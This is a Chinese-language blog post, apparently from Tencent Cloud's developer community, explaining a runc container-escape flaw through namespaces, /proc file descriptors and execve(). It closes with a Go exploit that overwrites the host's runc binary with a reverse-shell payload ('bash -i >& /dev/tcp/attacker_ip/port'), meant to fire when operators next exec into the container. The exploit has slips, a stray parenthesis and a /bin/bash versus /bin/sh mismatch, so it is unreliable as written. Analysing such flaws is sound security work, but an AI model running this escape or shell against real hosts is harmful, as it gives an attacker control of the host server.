关于这个漏洞存在的版本等信息到处都可以查到,基本的信息在这里就不再赘述了。
docker大致的结构图如下:
什么是命名空间?截至目前,Linux内核公开了7个命名空间。它们可用来隔离主机与容器两者的相关资源以实现虚拟化。简要描述如下:
命名空间 | 作用介绍 |
---|---|
Mount | 用来隔离文件系统的挂载点, 使得不同的Mount namespace拥有自己独立的挂载点信息 |
PID | 用来隔离进程的ID空间,使得不同PID namespace里的进程ID可以重复且相互之间不影响 |
Network | 用来隔离网络设备、IP地址、端口等. 每个命名空间将会有自己独立的网络栈、路由表、防火墙规则、socket等 |
IPC | 用来隔离System V IPC 对象以及POSIX消息队列 |
UTS | 用来隔离系统的hostname以及NIS domain name |
User | 用来隔离用户权限相关的系统资源,包括user IDs、 group IDs、keys 、capabilities |
Cgroup | 用来实现资源限制、优先级分配、资源统计、进程控制等 |
在该漏洞的背景下我们主要讨论Mount namespace和User namespace这两个命名空间。前者允许一组进程拥有它们独自的系统文件视图,而后者允许进程用户临时提升到root权限来完成某些操作,只要这些操作仅影响到各自的命名空间即可。
首先/proc文件系统是一个伪文件系统,所以它只存在于内存当中,并不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。
在本漏洞中我们主要关系的是那些以pid号命名的目录,它们是进程目录。系统中当前运行的每一个进程都有对应的一个目录在/proc下,以进程的 PID号为目录名,它们是读取进程信息的接口,目录里面存储着许多关于进程的信息,列如进程状态status,进程启动时的相关命令cmdline,进程的内存映像maps,进程包含的所有相关的文件描述符fd文件夹等等。
其中 /proc/pid/fd 中包含着进程打开的所有文件的文件描述符,这些文件描述符看起来像链接文件一样,通过ls -l 你可以看见这些文件的具体位置,但是它们并不是简单连接文件,你可以通过这些文件描述符再打开这些文件,你可以重新获得一个新的文件描述符,即使这些文件在你所在的位置是不能访问,你依然可以打开。
还一个 /proc/pid/exe 文件,这个文件指向进程本身的可执行文件。
而/proc/self目录则是读取进程本身的信息接口,是一个link,链接到当前正在运行的进程。
用户和应用程序可以通过proc得到系统的信息,并可以改变内核的某些参数。由于系统的信息,如进程,是动态改变的,所以用户或应用程序读取proc文件时,proc文件系统是动态从系统内核读出所需信息并提交的。下面列出的这些文件或子文件夹,并不是都是在你的系统中存在,这取决于你的内核配置和装载的模块。另外,在/proc下还有三个很重要的目录:net,scsi和sys。 Sys目录是可写的,可以通过它来访问或修改内核的参数,而net和scsi则依赖于内核配置。例如,如果系统不支持scsi,则scsi 目录不存在。
所有的pwner对于execve()应该都非常熟悉了。execve() 系统调用的作用是运行另外一个指定的程序。它会把新程序加载到当前进程的内存空间内,当前的进程会被丢弃,它的堆、栈和所有的段数据都会被新进程相应的部分代替,然后会从新程序的初始化代码和 main 函数开始运行。替换可执行文件,意味着释放调用execve()文件的I/O,但这个过程默认是不释放/proc/pid/fd中的打开的文件描述符的。我们需要特别注意的是,在execve()替换旧的进程时,是不会修改/proc/pid/fd目录中的文件描述符的,新的可执行文件会继承原进程的文件描述符,包括打开的文件。这意味着,原有的文件描述符仍然可以在新的可执行文件中使用。
但是如果在使用open(),socket() 或者通过 fcntl() 设置文件描述符时指定了 O_CLOEXEC 标志或者 FD_CLOEXEC 选项,那么在执行 execve() 替换进程时,将会关闭所有设置了这个选项的文件描述符,阻止新的可执行文件继承旧进程打开的这些文件描述符。
尽管docker本意并不来做一个沙盒的,但是容器之中是包含着虚拟环境的,在虚拟的文件系统里我们是root权限,当然这也是比较低的权限了。看似容器独立存在,具有隔离性,但是我们很难不去思考是否存在问题能够让我们逃逸这个独立的容器去拿到更高等级的权限。
我们知道runc负责完成容器的初始化,运行,命令执行。我们可以首先看看他是如何执行命令的,我们可以起一个nginx来完成这个小实验。
$docker pull nginx
$docker run --name nginx-test -p 8080:80 -d nginx
进入nginx后,我们运行一个监听程序:
package main
import (
"fmt"
"io/ioutil"
"os"
"strconv"
"strings"
)
func main() {
var found int
for found == 0 {
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println(err)
return
}
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") || strings.Contains(fstring,"ls") {
fmt.Println(fstring)
fmt.Println("[+] Found the PID:", f.Name())
_, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
}
}
我们通过该程序可以监听runc和ls命令的执行,我们另起一个shell然后执行:
$docker exec -it docker_id ls
监听结果如下:
首先运行了docker-runc init ,然后执行了ls,可以看见运行的过程中pid号一直保持为39,我们可以很容易想到启动的时候调用了execve()。在容器里面我们并不能运行docker-runc 因为namespace不一样,容器类的一切都被限定单独的namespace里面,但是你可以看到我是可以访问/proc下所有进程的信息,通过遍历/proc,我们可以得到runc 进程的pid号,并且我可以访问这个pid号下所有关于runc 的信息。同样包括runc的执行文件 ->/proc/pid[runc]/exe,这意味着我们是不是可以去尝试修改这个可执行文件。答案是可行的。但是需要一定的条件,因为runc正在运行,如果你试着open 并且写东西进去,你会得到invalid arguments。所以我们如果想要覆写exe这个可执行文件就必须等到runc运行结束。
什么时候会结束呢?
当我们运行execve()去运行新的可执行文件时。但是当runc结束运行时/proc/pid/exe也会被替换成新的二进制可执行文件。所以我们需要先去获取一个runc得fd文件描述符,并且保留下来。即通过open()去打开/proc/pid[runc]/exe返回一个fd,打开的时候只需要O_RDONLY就足够了。
这个时候你可以去看/proc/self/fd/下多了一个runc本身的fd,接着前面说到过,通过execve启动的新可执行文件是可以保留原进程打开的fd。
当execve() 执行新的可执行文件时,会首先释放runc的I/O ,这个时候就可以去覆写runc,通过前面拿到的fd,找到/proc/pid/fd/下对应的fd,这个时候可以用open(os.O_RDWR)打开runc,并且写入payload重置runc。
在实际的攻击场景下,可以将payload改成一个反弹shell,这样当服务器的运维人员再次启动进入该容器时就会执行这个反弹shell,成功拿到服务器的shell,完成逃逸的过程。
接下来我们需要考虑把如何在runc init的时候去执行open操作:
1在以后的容器内部执行恶意文件,当再次docker exec -it docker-id /bin/sh
时就可以触发覆写
攻击流程大致如下:
通过字符串检索的方式在proc中寻找pid[runc] --> 通过 open(/proc/pid[runc]/exe)获取可执行文件的fd --> 与此同时在/proc/self/fd中会生成并保留该可执行文件的fd --> 等待执行新的文件导致runc停止运行,通过/self/fd中保存的fd来找到exe[run]并且复写该可执行文件 --> 等待再次docker exec -it docker-id /bin/sh
来执行被覆写过后的可执行文件完成逃逸。
仿照官方Poc编写exp如下:
package main
import (
"fmt"
"io/ioutil"
"os"
"strconv"
"strings"
)
var payload = "#!/bin/bash \n bash -i >& /dev/tcp/attacker_ip/port 0>&1"
func main() {
fd, err := os.Create("/bin/bash")
if err != nil {
fmt.Println(err)
return
}
fmt.Fprintln(fd, "#!/proc/self/exe")
err = fd.Close()
if err != nil {
fmt.Println(err)
return
}
fmt.Println("[+] Overwritten /bin/sh successfully")
//fmt.Println("[+] Waiting docker exec")
var found int
for found == 0 {
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println(err)
return
}
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc")) {
fmt.Println(fstring)
fmt.Println("[+] Found the PID:", f.Name())
found, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
}
var handleFd = -1
for handleFd == -1 {
handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
if int(handle.Fd()) > 0 {
handleFd = int(handle.Fd())
}
}
fmt.Println("[+] Successfully got the file handle")
for {
writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
if int(writeHandle.Fd()) > 0 {
fmt.Println("[+] Successfully got write handle", writeHandle)
writeHandle.Write([]byte(payload))
return
}
}
}
当然了,除了这种方法外还可以 构造恶意的容器,直接通过docker run来触发
这种方法目前尝试效果不太好,暂时不展示了,后续再更新......
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。